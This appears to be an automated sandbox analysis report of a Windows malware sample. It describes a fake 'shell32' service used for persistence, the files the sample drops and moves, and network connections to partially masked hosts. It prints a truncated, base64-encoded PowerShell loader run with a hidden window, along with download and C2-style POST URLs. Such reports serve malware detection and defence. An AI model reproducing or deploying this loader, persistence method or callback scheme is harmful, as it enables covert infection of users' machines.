Technical Information
To ensure autorun and distribution
Sets the following service settings
- [<HKLM>\System\CurrentControlSet\Services\shell32] 'Start' = '00000002'
- [<HKLM>\System\CurrentControlSet\Services\shell32] 'ImagePath' = '"%WINDIR%\SysWOW64\mfcm100\shell32.exe"'
Creates the following services
- 'shell32' "%WINDIR%\SysWOW64\mfcm100\shell32.exe"
- 'shell32' %WINDIR%\SysWOW64\mfcm100\shell32.exe
Malicious functions
Executes the following (exploit)
- '<SYSTEM32>\windowspowershell\v1.0\powershell.exe' -encod JABXADUAZQBqAGIAaAA2AD0AKAAnAEIANQAnACsAJwBmADMAJwArACgAJwBrACcAKwAnAHMAdgAnACkAKQA7ACYAKAAnAG4AZQB3ACcAKwAnAC0AaQB0ACcAKwAnAGUAbQAnACkAIAAkAGUAbgB2ADoAVQBzAEUAcgBwAFIAbwBmAEkATABlAFwAQg...
Modifies file system
Creates the following files
- %HOMEPATH%\bni10nr\ukvxvj7\r7wzoxw.exe
Deletes the following files
- %WINDIR%\syswow64\mfcm100\shell32.exe
Moves the following files
- from %HOMEPATH%\bni10nr\ukvxvj7\r7wzoxw.exe to %WINDIR%\syswow64\mfcm100\shell32.exe
Network activity
Connects to
- '11#.#43.83.70':80
- '5.###.168.53':8080
TCP
HTTP GET requests
- http://wj.##liym.top/wp-content/F/
HTTP POST requests
- http://5.###.168.53:8080/as853un4DGAp2uzS/ via 5.###.168.53
UDP
- DNS ASK wj.##liym.top
Miscellaneous
Creates and executes the following
- '%HOMEPATH%\bni10nr\ukvxvj7\r7wzoxw.exe'
- '%WINDIR%\syswow64\mfcm100\shell32.exe'
- '<SYSTEM32>\windowspowershell\v1.0\powershell.exe' -encod JABXADUAZQBqAGIAaAA2AD0AKAAnAEIANQAnACsAJwBmADMAJwArACgAJwBrACcAKwAnAHMAdgAnACkAKQA7ACYAKAAnAG4AZQB3ACcAKwAnAC0AaQB0ACcAKwAnAGUAbQAnACkAIAAkAGUAbgB2ADoAVQBzAEUAcgBwAFIAbwBmAEkATABlAFwAQg...' (with hidden window)
